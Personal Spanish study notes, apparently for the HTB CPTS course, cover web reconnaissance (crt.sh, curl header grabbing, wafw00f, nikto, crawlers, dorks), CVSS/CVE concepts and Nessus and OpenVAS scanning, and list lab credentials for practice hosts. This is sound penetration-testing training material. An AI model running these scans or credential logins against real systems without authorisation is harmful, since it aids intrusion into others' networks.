- Y del que tiene el prefijo vm
![[Pasted image 20260407155141.png]]
- Y del que tiene el prefijo br
![[Pasted image 20260407155235.png]]
- Y del que tiene el prefijo a
![[Pasted image 20260407155211.png]]
![[Pasted image 20260407155717.png]]
- Y del que tiene el prefijo su
![[Pasted image 20260407155200.png]]![[Pasted image 20260407155706.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 3. Recopilacion De Informacion WEB / 2. DNS & Subdomains
7. Certificate Transparency Logs
La confianza en Internet se basa en el protocolo SSL que cifra la comunicacion para que no se pueda leer facilmente. Esto se funciona mediante certificados digitales que demuestran que esa web es realmente quien dice ser
Estos son dados por los CA o Autoridades Certificadoras pero en algunos casos pueden cometer errores o ser comprmetidas emitiendo certificados falsos que puede hacer que un atacante se haga pasar por una entidad que no es (MITM)
Para solucionarlo surgieron los CT logs que es donde las CAs publican los certificados que emiten publicamente
CT Logs y Web Recon
Los CT Logs pueden desvelar subdominios asociados a certificados antiguos y expirados que pueden contener sw desactualizado y vulnerable
A diferencia del brute forcing el CT Log provee de la lista definitiva de los dominios y sus subdominios
Buscando CT Logs
![[Pasted image 20260407160954.png]]
Censys
crt.sh
crt.sh
curl -s "https://crt.sh/?q=DOMAIN&output=json" | jq -r '.[] | select(.name_value | contains("dev")) | .name_value' | sort -u
![[Pasted image 20260407161052.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 3. Recopilacion De Informacion WEB / 3. Fingerprinting
1. Fingerprinting
Encontrar detalles tecnicos de las tecnologias o aplicaciones web que corren en sitio web
Nos sirve para identificar:
- Vectores de ataques
- Identificar malas configuraciones
- Priorizar objetivos
Tecnicas
- Banner Grabbing: analizar el banner que devuelve el web server y otros servicios que nos pueden dar la version, software y otros detalles
- Analizar HTTP Headers: en X-Powered-By por ejemplo podemos encontrar el sw del webserver o tecnologias como scripting lenguage
- Probar respuestas especificas: probar distintas entradas para obtener distintas salidas que puedan mostrarnos mensjaes de error con info filtradas o comportamientos
- Analizar el contenido de la pagina
Herramientas
![[Pasted image 20260407162530.png]]
Fingerprinting
Banner Grabbing
curl -I DOMAIN
Esto muestra los headers del website. Podemos ver la version de Apache y que es un Ubuntu. Adsemas vemos que nos esta intentando redirigir a https://DOMAIN
![[Pasted image 20260407162645.png]]
curl -I SITIO_WEB
![[Pasted image 20260407162809.png]]
Ahora vemos que esta corriendo un WP y nos esta redirigiendo a https://www.DOMAIN
curl -I www.SITIO_WEB
![[Pasted image 20260407162859.png]]
Podemos ver que tiene links hacia wp-json
Wafw00f
WAF es un firewall de un sitio web que previene de ciertos ataques. Podemos mirara si tiene un WAF el sitio web
pip3 install git+https://github.com/EnableSecurity/wafw00f
wafw00f DOMAIN
![[Pasted image 20260407163106.png]]
Esta defendido por Wordfence de Defiant
Nikto
Es un webserver scanner. Encuentra plugins, themes, sw, archivos y configuraciones inseguras…
nikto -h DOMAIN -Tuning (Numero o letra)
-Tuning b: indica que solo modulos de fingerprinting
![[Pasted image 20260407163344.png]]
LABORATORIO
- Determina la version Apache que esta corriendo
![[Pasted image 20260407163940.png]]
![[Pasted image 20260407163846.png]]
- Que CMS usa app.inlanefreight.local en el sistema
![[Pasted image 20260407164054.png]]
- Que SO esta corriendo el dev.inlanefreight.local
![[Pasted image 20260407164227.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 3. Recopilacion De Informacion WEB / 4. Crawling O Spidering
1. Spidering
Es el proceso de automaticamente y recursivamente navegar por el sitio web siguiendo links, hipervinculos y recolectando informacion
Como funciona
El crawler busca la pagina, parsea el contenido y extrae los links que los va añadiendo a una cola para repetir esto en cada link
![[Pasted image 20260407195336.png]]
![[Pasted image 20260407195342.png]]
Luego seguiria con los links 2,4 y 5
2 formas de hacerlo:
- Primero ancho: prioriza mirar todos los websites antes de profundizar una capa mas
![[Pasted image 20260407195449.png]]
- Primero profundo: prioriza mirar las capas en profundidad de un website hasta no quedarle mas y vuelve a la primera capa para repetirlo
![[Pasted image 20260407195643.png]]
Extraen:
- Links internos y externos
- Comentarios
- Metadata
- Archivos sensibles
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 3. Recopilacion De Informacion WEB / 4. Crawling O Spidering
2. Robots.txt
Es un archivo de texto que se encuentra en el webroot: http://IP/robots.txt, que indica a los browsers y crawlers que partes si y que partes no pueden visitar de forma indexada
![[Pasted image 20260407195923.png]]
Aqui se indica que para cualquier User Agent no se pude visitar /private/
Directivas que puede tener
![[Pasted image 20260407200019.png]]![[Pasted image 20260407200049.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 3. Recopilacion De Informacion WEB / 4. Crawling O Spidering
3. Well Known Uris
.well-known es un directorio estandarizado que se encuentra en el webroot y contiene metadata critica e incluye archivos e informacion de configuracion relacionado con servicios, protocolos y mecanismos de seguridad
https://example.com/.well-known/security.txt -> security policy
Well-Known URIs
![[Pasted image 20260407200356.png]]![[Pasted image 20260407200406.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 3. Recopilacion De Informacion WEB / 4. Crawling O Spidering
4. Crawlers
Crawlers populares
- Burp Suite Spider
- ZAP
- Scrapy
- Apache Nuth
Scrapy
Instalacion scrapy y ReconSpider
pip3 install scrapy --break-system-packages
wget -O ReconSpider.zip https://academy.hackthebox.com/storage/modules/144/ReconSpider.v1.2.zip
unzip ReconSpider.zip
Usando ReconSpider
python3 ReconSpider.py http://Pagina_Inicial
![[Pasted image 20260407201554.png]]
Los resultados seran en JSON:
![[Pasted image 20260407201615.png]]
Tipos de datos extraidos:
![[Pasted image 20260407201644.png]]
LABORATORIO
- Tras spidear inlanefreight.com identifia la localizacioon donde los reportes futuros seran almacenados
![[Pasted image 20260407201939.png]]![[Pasted image 20260407201949.png]]![[Pasted image 20260407202338.png]]![[Pasted image 20260407202351.png]]
Si miramos dentro con nano en la parte de comentarios encontramos un comentario que habla de cambiar la ubicacion de nuevos reportes:
![[Pasted image 20260407202451.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 3. Recopilacion De Informacion WEB / 5. Search Engine Discovery
1. Google Dorks
Permite lanzar queries en Google para acotar las busquedas. Hay tambien para otros navegadores pero nos centraremos en los google dorks
Operadores
Google Dorks filtros
![[Pasted image 20260407202730.png]]![[Pasted image 20260407202739.png]]![[Pasted image 20260407202748.png]]
Ejemplos:
![[Pasted image 20260407202807.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 3. Recopilacion De Informacion WEB / 6. WEB Archives
1. Archivos WEB
Internet Archive’s Wayback Machine es un repositorio que almacena paginas web en su versiones pasadas
Funciona usando web crawlers que realizan captuaras a las websites cada cierto tiempo ademas de guardar el HTML, CSS y JS + imagenes y otros recursos
Para que nos sirve
- Destapar informacion escondida y vulnerabilidades: puede haber directorios, archivos o subdominios que no esten actualmente accesibles y que puedan contener informacion expuesta
- Seguir los cambios e identificar patrones
- Recopilacion inteligente
- Reconocimiento sigiloso
LABORATORIO
-
Cuantos labs tenia HTB el 8 de Agosto de 2018
![[Pasted image 20260407204534.png]]
![[Pasted image 20260407204527.png]]
![[Pasted image 20260407204613.png]]
![[Pasted image 20260407204724.png]]
-
Cuantos miembros tenia HTB el 10 de Junio de 2017
![[Pasted image 20260407204845.png]]
![[Pasted image 20260407204932.png]]
- En 2002, a que te redirigia facebook.com, ejemplo: http://www.facebook.com/
![[Pasted image 20260407205028.png]]
![[Pasted image 20260407205057.png]]
- Segun paypal.com en octubre de 1999, que se podia usar para transmitir dinero? Responder con el nombre del producto
![[Pasted image 20260407205138.png]]![[Pasted image 20260407205143.png]]
![[Pasted image 20260407205241.png]]
Palm Organizer
- Volviendo a marzo 2000 en www.iana.org, cuando fue su ultima actualizacion
![[Pasted image 20260407205658.png]]
![[Pasted image 20260407205713.png]]
- Segun wikipedia.com en 9 Febrero de 2003 cuando articulos hay en English version
![[Pasted image 20260407205323.png]]![[Pasted image 20260407205356.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 3. Recopilacion De Informacion WEB / 7. Automatizar Recon
1. Automatizando Reconocimiento
Herramientas
-
FinalRecon: SSL certificate checking, Whois information gathering, header analysis and crawling
-
Recon-ng: DNS enumeration, subdomain discovery, port scanning, web crawling and even exploit known vulnerabilities
-
theHarvester: gathering email addresses, subdomains, hosts, employee names, open ports, and banners from different public sources like search engines, PGP key servers, and the SHODAN database
-
SpiderFoot: collect information about a target, including IP addresses, domain names, email addresses, and social media profiles. It can perform DNS lookups, web crawling, port scanning and more
-
OSINT Framework: a collection of various tools and resources for open-source intelligence gathering
Final Recon
Como hemos visto nos ofrece recopilacion de informacion de forma automatica como:
- Header Information
- Whois Lookup
- SSL Certificate Information
- Crawler
- DNS Enum
- Subdomain Enum
- Directory Enum
- Wayback Machine
Instalacion
git clone https://github.com/thewhiteh4t/FinalRecon.git
cd FinalRecon
pip3 install -r requirements.txt
chmod +x ./finalrecon.py
./finalrecon.py --help
![[Pasted image 20260408145015.png]]
Parametros y uso
![[Pasted image 20260408145042.png]]
![[Pasted image 20260408145052.png]]![[Pasted image 20260408145100.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 3. Recopilacion De Informacion WEB / 8. Laboratorio
1. Skill Assessment
- Cual es el IANA ID del Registrar de inlanefreight.com
![[Pasted image 20260408145644.png]]
- Que software esta corriendo el webserver?
![[Pasted image 20260408145724.png]]
- Que API Key esta escondida en el directorio admin que has descubierto en el sistema
![[Pasted image 20260408150110.png]]
![[Pasted image 20260408150623.png]]
![[Pasted image 20260408151505.png]]
![[Pasted image 20260408151531.png]]
![[Pasted image 20260408151603.png]]
![[Pasted image 20260408151757.png]]
![[Pasted image 20260408151821.png]]
![[Pasted image 20260408152328.png]]
- Tras hacer crawling de inlanefreight.htb, cual es email que has encontrado?
Como vimos ni la pagina principal ni la de web1337 que es la unica que encontramos tienen links ni hipervinculos. Podemos buscar otro nuevo vhost dentro del de web1337 a ver si hay otro que contenga links
![[Pasted image 20260408153004.png]]
![[Pasted image 20260408152955.png]]
![[Pasted image 20260408152944.png]]
Ahora hacemos el crawling
![[Pasted image 20260408153039.png]]
![[Pasted image 20260408153103.png]]
- Cual es el API key que los developers de inlanefreight.htb van a cambiar
Bajando en los resultados en la seccion de comentarios encontramos la api key
![[Pasted image 20260408153137.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 4. Evaluacion De Vulnerabilidades / 1. Evaluacion De Seguridad
1. Evaluacion De Vulns Vs Pentest
Evaluacion de vulnerabilidades vs Pentest
-
Evaluacion de vulnerabilidades: procesos sistematico de identificar, analizar y clasificar las vulnerabilidades persentes en un sistema, red o aplicacion. Su objetivo es detectar posibles fallos de seguridad de forma automatizada o semi automatizada sin explotar activamente las vulnerabilidades
-
Pentest: simulacion controlada de un ataque real en el que se explotan vulnerabilidades para evaluar hasta que punto un sistema puede ser comprometido. Su objetivo es medir el impacto real de las vulnerabildiades y demostrar como un atacante podria acceder, escalar priviligios o comprometer la seguridad del sistema
![[Pasted image 20260408154106.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 4. Evaluacion De Vulnerabilidades / 1. Evaluacion De Seguridad
2. Evaluacion De Vulnerabilidades
Metodologia
8 pasos:
- Identificacion y analisis de riesgos: identificar todos los activos y evaluar posibles riesgos
- Desarrollar politicas de escaneo: establecer normas y responsables de los escaneos de seguridad
- Identificar tipo de escaneo: se decide que tipo de escaneo realizar segun el sistema
- Configurar el escaneo: se definen objetivos, puertos, protocolos y parametros del escaneo
- Realizar el escaneo: la herramienta analiza los sistemas y detecta servicios y vulnerabilidades
- Evaluar posibles riesgos: se analizan los impactos del escaneo como posibles caidas del sistema
- Interpretar resultados: se revisan vulnerabilidades y se priorizan segun su gravedad
- Crear plan de mitigaciones: se establecen acciones para corregir y reducir las vulnerabilidades
Elementos
1. Vulnerabilidad
Es una debilidad o bug que abre la posibilidad de amenazas de actores externos
Pueden estar registradas en el MITRE y recibir una puntuacion Common Vulnerability Scoring System (CVSS)
Se suele usar frecuentemente como estandar para calcular la precision y consistencia de la vulnerabilidad ayudando a priorizar vulns
METRICAS QUE SE USAN
- Vector de ataque: red, local, fisico
- Complejidad
- Requerimiento de privs
- Si necesita o no interaccion del usuario
- El impacto si se llega a realizar de forma satisfactoria (confidencialidad, disponibilidad e integridad)
Esto marca un resultado del 0 - 10
![[Pasted image 20260408155331.png]]
2. Threat o amenaza
Es un proceso que aplicfica el potencial de un evento adverso. Unas vulnerabilidades generan mayor preocupacion que otras debido a la probabilidad de ser explotadas
3. Exploit
Codigo o recurso que puede ser usado para tomar ventaja de una debilidad o vulnerabilidad
Muchos se encuentran en: Exploit-db or the Rapid7 Vulnerability and Exploit Database
4. Riesgo
Posibilidad de que los activos o datos sean dañados o destruidos por actores maliciosos
![[Pasted image 20260408160049.png]]
Score
![[Pasted image 20260408160159.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 4. Evaluacion De Vulnerabilidades / 2. Puntiacion De Vulnerabilidades Y Reporting
1. Cvss (common Vulnerability Scoring System)
Common Vulnerability Scoring System (CVSS) es un estandar en la industria para poner una puntuacion a las vulnerabilidades encontradas
Se suele usar junto con Microsoft DREAD que es un evaluador de riesgo en una escala de 10 puntos
Con esto, nosotros calculamos el riesgo de una amenaza o vulnerabilidad con 5 factores:
- Daño potencial
- Reproducibilidad
- Explotabilidad
- Usuarios afectados
- Descubrilidad
Severity Scoring
La puntuacion de CVSS consisten en:
- Explotabilidad: entra el vector de ataque, complejidad de acceso y autenticacion
- Impacto: consiste en CIA (confidencialidad, disponibilidad e integridad)
![[Pasted image 20260408162433.png]]
Base Metric Group (SIEMPRE ESTAN)
Representa las caracteristicas de la vulnerabilidad
-
Metricas de explotabilidad: una forma de evaluar las cosas tecnicas necesarias para explotar el problema:
- Vector de ataque
- Complejidad del ataque
- Requerimiento de privilegios
- Interaccion del usuario
-
Metricas de impacto: representan la repercusion de una explotacion exitosa y que impacta en la CIA (confidencialidad, integridad y disponibilidad)
![[Pasted image 20260408162750.png]]
Temporal Metric Group (OPCIONALES)
Detalles de la disponibilidad de exploits o parches del problema
-
Madurez del código del exploit: es una metrica que representa la probabilida de explotacion de la vulnerabilidad en funcion de la facilidad de la tecnica
- Tenemos varias metricas:
- Not Define : se omite la metrica
- High : vulnerabilidad que funciona de forma consistente y facilmente identificable con herramientas automatizadas
- Functional : existe codigo de explotacion disponible
- Proof of Concept PoC : existe un codigo de explotacion de prueba de concepto pero requeriria modificaciones por parte del atacante
- Unproven
-
Nivel de remediacion: usado para identificar la priorizacion de vulnerabilidades
- Tenemos varias metricas:
- Not Define : se omite la metrica
- Unavailable : no hay ningun parche disponible para la vulnerabilidad
- Workaroung : hay una solucion no oficial publicada hasta que el proveedor la parchee oficialmente
- Temporary Fix : proveedor oficial ha proporcionado una solucion temporal
- Official Fix : proveedor ha publicado un parche oficial para el problema
-
Confianza del informe: representa la validacion de la vulnerabilidad y como de precisa es la tecnica
- Tenemos varias metricas:
- Not Defined : se omite la metrica
- Confirmed : existen varias fuentes con informacion detallada que confirma la vulnerabilidad
- Reasonable : algunas fuentes han publicado informacion de la vulnerabilidad pero no hay certeza de que alguien logre el mismo resultado debido a la falta de detalles para reproducirla
- Unkown
Environmental Metric Group (OPCIONALES)
Estas son puestas por la emrpesa. Ejemplo, impacto alto pero tu empresa ese sistema no es critico o esta aislado entonces CIA estara a low
Representa la significancia de la vulnerabilidad teniendo en cuenta la CIA
- Modified Base Metrics: representa las metricas que pueden modificarse si la organizacion considera que existe riesgo significativo en CIA
- Tenemos varias metricas:
- Not Defined : se omite la metrica
- High : uno de los elementos de la triada CIA trendria egectos astronomicos en la organizacion general y clientes
- Medium : uno de los elementos de la CIA tendira efectos significativos en la organizacion en general
- Low : uno de los elementos de la triada CIA tendria efectos minimos en la organizacion general
CALCULAR CVSS
Calculadora : tiene en cuenta las metricas discutidas en esta seccion
EJEMPLO INVENTADO SIN ENVIRONMENTAL SCORE METRICS:
![[Pasted image 20260408165636.png]]
![[Pasted image 20260408165630.png]]
![[Pasted image 20260408165659.png]]
Ejemplo : Windows Print Spooler Remote Code Execution Vulnerability
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
![[Pasted image 20260408165320.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 4. Evaluacion De Vulnerabilidades / 2. Puntiacion De Vulnerabilidades Y Reporting
2. Cve (common Vulnerability And Exposures)
OVAL Open Vulnerability Assessment Language
OVAL es un estandar internacionar de seguridad de la informacion disponible publicamente que se usa para evaluar y detallar el estado actual y los problemas del sistema
![[Pasted image 20260408195659.png]]
El objetivo de OVAL es tener una estructura en 3 pasos durante el proceso de evaluacion que consiste en:
- Identificar la configuracion del sistema
- Evaluar el estado actual del sistema
- Desglosar la informacion en un reporte
La informacion se puede describir en varios estados: Vulnerable, Non-compliant, Installed Asset y Patched
CVE Common Vulnerabilities and Exposures
CVE es un catalogo publico de problemas de seguridad. Cada problema de seguridad tiene su CVE ID unico
![[Pasted image 20260408200102.png]]
Pasos para obtener un CVE:
- Identificar si el CVE es requerido y relevante
- Llegar al vendor afectado
- Identificar si la solicitud deberia ser para el Vendor CNA o Third Party CNA
- Solicitar CVE ID a traves de CVE Web Form
- Confirmacion del CVE Form
- Se recibe el CVE ID
- Restriccion de publicacion sel CVE ID
- Publicacion del CVE ID
- Proveer informacion al CVE Team
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 4. Evaluacion De Vulnerabilidades / 3. Nessus
1. Introduccion A Vulnerability Scanning
Los escaners de vulnerabilidades normalmente no explotan vulnerabilidades (salvo excepciones) por lo que se necesitan manos para validar estos resultados, es decir, determinar si son FP o TP
Tipos de test:
- Estatico: determina si la vulnerabilidad si la version identificada corresponde con un CVE publico. A veces se ha instalado un parche y no es fiable o el objetivo no es vulnerable a ese CVE
- Dinamico: trata de especificar, usando payloads benignos, creds debiles, SQLi o command injection…
Se deben ejecutar tanto escaneos autenticados como no autenticados para asegurar de que los activos son parcheados a medida que se van descubriendo nuevas vulns
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 4. Evaluacion De Vulnerabilidades / 3. Nessus
2. Descaargando Con Nessus
Download Page :descargaremos el de Ubuntu
![[Pasted image 20260408201509.png]]
Tendremos que visitar Activation Code Page para obtener el codigo de activacion:
![[Pasted image 20260408201612.png]]
dpkg -i Nessus-8.15.1-ubuntu910_amd64.deb
sudo systemctl start nessusd.service
https://localhost:8834
Marcaremos Nessus Essentials
![[Pasted image 20260408201702.png]]![[Pasted image 20260408201707.png]]![[Pasted image 20260408201713.png]]![[Pasted image 20260408201723.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 4. Evaluacion De Vulnerabilidades / 3. Nessus
3. Nessus Scan
- Le damos a New Scan
- Seleccionamos una plantilla:
- Discovery
- Vulnerabilities
- Compliance
- Ejemplo con Discovery: tenemos Host discovery, Basic Network Scan…
![[Pasted image 20260408202404.png]]
- Usaremos Basic Network Scan (tendremos dos IPs (172.16.16.100 Windows - 172.16.16.160 Linux))
![[Pasted image 20260408202458.png]]
- Apartado Discovery tenemos la opcion de habilitar escaneo para dispositivos fragiles
![[Pasted image 20260408202642.png]]
- Eligiremos Common Ports, Alls Ports o Self-Define Range
![[Pasted image 20260408202722.png]]
- Apartado Assessment: Podemos habilitar el web application scanning y customizar nuestro User Agent y otras opciones (como URL para intentar RFI)
![[Pasted image 20260408202902.png]]
- Tambien hay opciones de habilitar el intento de inicio de sesion contra las aplicaciones y servicios descubiertos usando las creds dadas en archivos tipo wordlist o realizar brute force
![[Pasted image 20260408203002.png]]
- Tambien se puede habilitar el user enum usando varias tecnicas como RID brute force:
![[Pasted image 20260408203041.png]]
- Pestaña avanzado: safe checks hace que no se ejecuten pruebas que puedan dañar al sistema. no intenta explotar. Podemos tambien elegir reducir las velocicdades, threads y mas
![[Pasted image 20260408203319.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 4. Evaluacion De Vulnerabilidades / 3. Nessus
4. Configuraciones Avanzadas
Veremos varias configuraciones avanzadas
Scan Policies
Nessus nos da la opciones crear politicas de escaneo para determinar algunas opciones de escaneo. Tambien nos dan plantillas (Scan Templates)
Esto nos dara la posibilidad de crear escaneos para diferentes escenarios como mas lentos, evasivos, web focused…
![[Pasted image 20260408204057.png]]
Creando un Scan Policy
- Le damos a New Policy y se nos dara una lista de escaneos preconfigurados (Podemos elegir alguno como Basic Network Scan y customizarlo o crear el nuestro propio desde 0)
- Elegimos Advanced Scan para crear uno desde 0
- Le damos nombre y descripcion
![[Pasted image 20260408204249.png]]
- Desde aqui podemos configurar como queramos y podemos habilitar y deshabilitar plugins
- Una vez terminado le damos a save y habremos creado una politica que aparecera en policy list
- Scans > Sacn Templates > User Defined
![[Pasted image 20260408204500.png]]
Plugins
Nessus Attack Scripting Language (NASL) : estos plugins contienen infromacion como vulnerability name, impact, remedation y formas de testear un issue particular
Los plugins son clasificado por el severity level : Critical, High, Medium, Low, Info
Nessus es una herramienta de escaneo de vulnerabilidades que identifica posibles fallos de seguridad basándose, en muchos casos, en versiones de software o configuraciones detectadas, mientras que herramientas como `sslscan` analizan directamente los protocolos y cifrados que un servidor acepta. Sin embargo, no todas las detecciones implican un riesgo real, ya que un servidor puede permitir ciertos cifrados antiguos por compatibilidad sin que sean explotables en la práctica. Por ello, es fundamental que el analista valide manualmente los resultados
![[Pasted image 20260408205031.png]]
Aqui sslscan ha detectado que usa TLSv1.0 bastante antiguo y vulnerable y se usan cipher suites inseguros hoy en dia. Pero puede que ese servicio no necesite ni siquiera TLS por lo que no es una vulnerabilidad real, por ejemplo FTP interno sin TLS o servidor internos sin TLS lo que pude ser aceptable
En nuestro caso Microsoft DirectAccess no depende de SSL/TLS para su seguridad
Podemos crear una regla Plugin que haga que cuando se ejecute el plugin no nos salga esa informacion en ese host o en todos
Resources > Plugin Rules > Create
![[Pasted image 20260408205909.png]]
Aqui incluimos el host que quedara excluido para el FP de Microsoft DirectAccess, el plugin ID para Microsoft DirectAccess y pondremos Hide this result
![[Pasted image 20260408210242.png]]
Tambien podemos excluir ciertos problemas de los resultados del analisis como plugins para problemas no explotables. Podemos poner el plugin ID y el host donde se excluira el resultado del plugin. El plugin se ejecutara pero no nos saldra el resultado:
![[Pasted image 20260408210515.png]]
Escaneando con Credenciales
Nessus soporta hacer escaneos con credenciales de muchos tipos (LM/NTLM hashes, Kerberos Authentication, passwords)
En la categoria Host based podemos usar:
- SSH: poniendo password, public key, Kerberos auth
- Windows: password, Kerberos, LM/NTLM hash
![[Pasted image 20260409141036.png]]
En la categoria Database podemos poner una gran variedad de tipos de bases de datos como Oracle, PostgresSQL, DB2, MySQL….
![[Pasted image 20260409141141.png]]
Tambien podemos usar la categoria Plain Test Scan para servicios como FTP, HTTP, IMAP…
![[Pasted image 20260409141332.png]]
En el output podemos ver si la autenticacion fue exitosa contra algun servicio o aplicacion:
![[Pasted image 20260409141520.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 4. Evaluacion De Vulnerabilidades / 3. Nessus
5. Trabajando Con Las Salidas Del Scan
Nessus nos da la opcion de exportar los resultados en varios formatos y tambien importarlos para otras herramientas, archivos… como:
- EyeWitness : se puede usar para tomar capturas de todas las webapps encontradas por nessus
Reportes de Nessus
Podemos exportar los resultados en formato .pdf, .html o .csv. Los formatos .html y .pdf dan la opcion de generar un resumen ejecutivo o customizar el report
El resumen ejecutivo provee una lista de hosts y el numero de vulnerbilidades descubierta en cada host y la opcion de show details para ver la severidad, CVSS score plugin number y nombre del problema detectado
El .csv nos permite elegir las columnas que exportar muy util si tenemos que importar los resultados a herramientas como Splunk
![[Pasted image 20260409142419.png]]
Ejemplo de un HTML report:
![[Pasted image 20260409142453.png]]
Exportando Nessus scan
Nos da dos opciones:
- .nessus = .xml + copia de configuraciones de scan y salidas de los plugins
- .db = .nessus + scan’s KB, plugin Audit Trail, and any scan attachments
Scripts como nessus-report-downloader se usan para descargar los escaneos el todos los formatos posibles desde la terminal:
![[Pasted image 20260409142817.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 4. Evaluacion De Vulnerabilidades / 3. Nessus
6. Problemas De Scanning
Estos escaneos pueden causar problemas a redes y objtivos sensibles ademas de proveer FPs, no results… Preguntar al cliente que objetivos son sensibles a estos escaneos
Mitigando problemas
-
Muchas veces los firewalls nos daran que todos los puertos estan open o que ninguno lo esta. Algunos firewalls pueden devolver ICMP Unreachable que Nessus toma como alive o darnos muchos FPs (no todo se soluciona con lo siguiente)
- Solucion: en Advance Options, desactivar Ping remote host
-
En redes sensibles podemos usar rate-limiting para minimizar el impacto
- Solucion: Performance Options y modificar Max Concurrent Checks Per Host esto limitara el numero de plugins usados a la vez (es un ejemplo se pueden usar mas)
-
Podemos evitar escanear legacy systems y elegir la opcion de no escanear impresoras
- Solucion: para esto usamos nessusd.rules (el archivo de configuracion)
-
Por ultimo nos debemos de asegurar de que no estamos lanzando plugins de DoS
- Solucion: habilitar siempre la opcion de “safe checks” para evitar plugins que puedan tener un impacto negativo en el objetivo. No significa que tenga 0 impacto negativo pero lo reduce muchisimo
Impacto en la red
Es importante tener en cuenta el ancho de banda que consumimos en la red
Podemos usar: vnstat
Vamos a comparar los resultados antes y dutante un nessus scan:
sudo apt install vnstat
sudo vnstat -l -i eth0
![[Pasted image 20260410145015.png]]![[Pasted image 20260410145027.png]]
Cuando los comparamos podemos ver el numero de bytes y paquetes transferidos durante el vulnerability scan
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 4. Evaluacion De Vulnerabilidades / 3. Nessus
7. Skill Assessment
Creds del target:
- Linux:
- 172.16.16.160
- student_adm:HTB_@cademy_student!
- Windows:
- 172.16.16.100
- administrator:Academy_VA_adm1!
Tarda mucho:
Acceder a Nessus (http://IP:8834)
Usar las credenciales propias o htb-student:HTB_@cademy_student!
Usar Basic Network Scan
Modificar la plantilla a ALL Ports contra la IP 172.16.16.100
Usaremos el modo autenticado usando las creds de Windows
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 4. Evaluacion De Vulnerabilidades / 4. Openvas
1. Empezando Con Openvas
OpenVAS : es un escaner de vulnerabilidades publico que tiene capacidades para realizar escaneos de red autenticados y no autenticados
![[Pasted image 20260410145404.png]]
Instalar OpenVAS
sudo apt-get update && apt-get -y full-upgrade
sudo apt-get install gvm && openvas
gvm-setup
La primera vez que se levante puede tardar mucho 30min
![[Pasted image 20260410145450.png]]
Tras esperar podemos por fin empezar con OpenVAS:
gvm-start
![[Pasted image 20260410145541.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 4. Evaluacion De Vulnerabilidades / 4. Openvas
2. Escaneo Openvas
En esta seccion nos adentraremos en el apartado de Scans
![[Pasted image 20260410145745.png]]
Aqui podremos ver scans que hemos lanzado previamente, laseccion de “Create a new task” que nos permitira crear un nuevo scan
Los escaneos que se ven aqui ya esta pre establecidos para evitar perder el tiempo. Lo suyo es ir mirando las vulnerabilidades que va sacando en vez de esperar a que termine completamente porque tardara como 1-2h
Para este modulo:
Windows: 172.16.16.100
Linux: 172.16.16.160
![[Pasted image 20260410150103.png]]
Configuraciones
Antes de configurar ningun escaneo lo primero deberia ser configurar los objetivos del escaneo
Configurations > Targets : aqui veremos los targets añadidos
![[Pasted image 20260410150226.png]]
Para añadir uno:
Clickar en el boton resaltado >
- Añadir un target individual o una host list
- Configurar puertos, autenticacion y metodos
![[Pasted image 20260410150414.png]]
Para escaneos autenticados necesitaremos lanzarlo con credenciales root o Administrator. Cuando mayor nivel de permisos tengamos al lanzarlo, mas informacion de los host obtendremos
Tras añadir el target saldra esto:
![[Pasted image 20260410150710.png]]
Creando un scan
Muchas configuraciones usan NVT Family (diferentes categorias de vulnerabilidades, como Windows, Linux, WebApps…)
![[Pasted image 20260410150828.png]]
Hay muchas configuraciones de escaneo de red. Se recomienda solo usar los siguientes ya que el resto pueden causar daños en el sistema:
- Base: enumerar informacion sobre el host status y SO info. No checkea vulns
- Discovery: enumera informacion sobre el sistema. Identifica configuraciones de los servicios, hw, puertos y sw. No checkea vulns
- Host Discovery: solamente testea si el host esta vivo para determinar si esta activo en la red. No checkea vulns. Usa ping
- System Discovery: enumera el target un poco mas que Discovery Scan e intenta identificar el SO y hw
- Full and fast: es la mas segura y aprovecha la inteligencia para usar NVT checks basado en puertos accesibles del host
Podemos crear nuestro propio scan
Scans > New Task
![[Pasted image 20260410151315.png]]
Despues podremos configurar el escaneo:
![[Pasted image 20260410151356.png]]![[Pasted image 20260410151415.png]]![[Pasted image 20260410151422.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 4. Evaluacion De Vulnerabilidades / 4. Openvas
3. Exportacion De Resultados
Podemos verlos en
Scans > Columna "Last Report"
![[Pasted image 20260410151508.png]]
Una vez que entramos al reporte podemos ver los resultados del escaneo y SO info, open ports, servicios…
![[Pasted image 20260410151542.png]]
Exportarlo
Hay varios formatos (XML, CSV, PDF, ITG, and TXT). Si elegimos XML podemos verlo en un formato facil de leer
![[Pasted image 20260410151820.png]]
Tras exportarlo en XML usaremos openvasreporting que da varios opciones. En nuestro caso usaremos un comandos que nos prepara un excel
python3 -m openvasreporting -i report-2bf466b5-627d-4659-bea6-1758b43235b1.xml -f xlsx
![[Pasted image 20260410151931.png]]![[Pasted image 20260410151938.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 4. Evaluacion De Vulnerabilidades / 4. Openvas
4. Openvas Skill Assessment
OpenVAS creds:
htb-student:HTB_@cademy_student!
Creds:
Linux
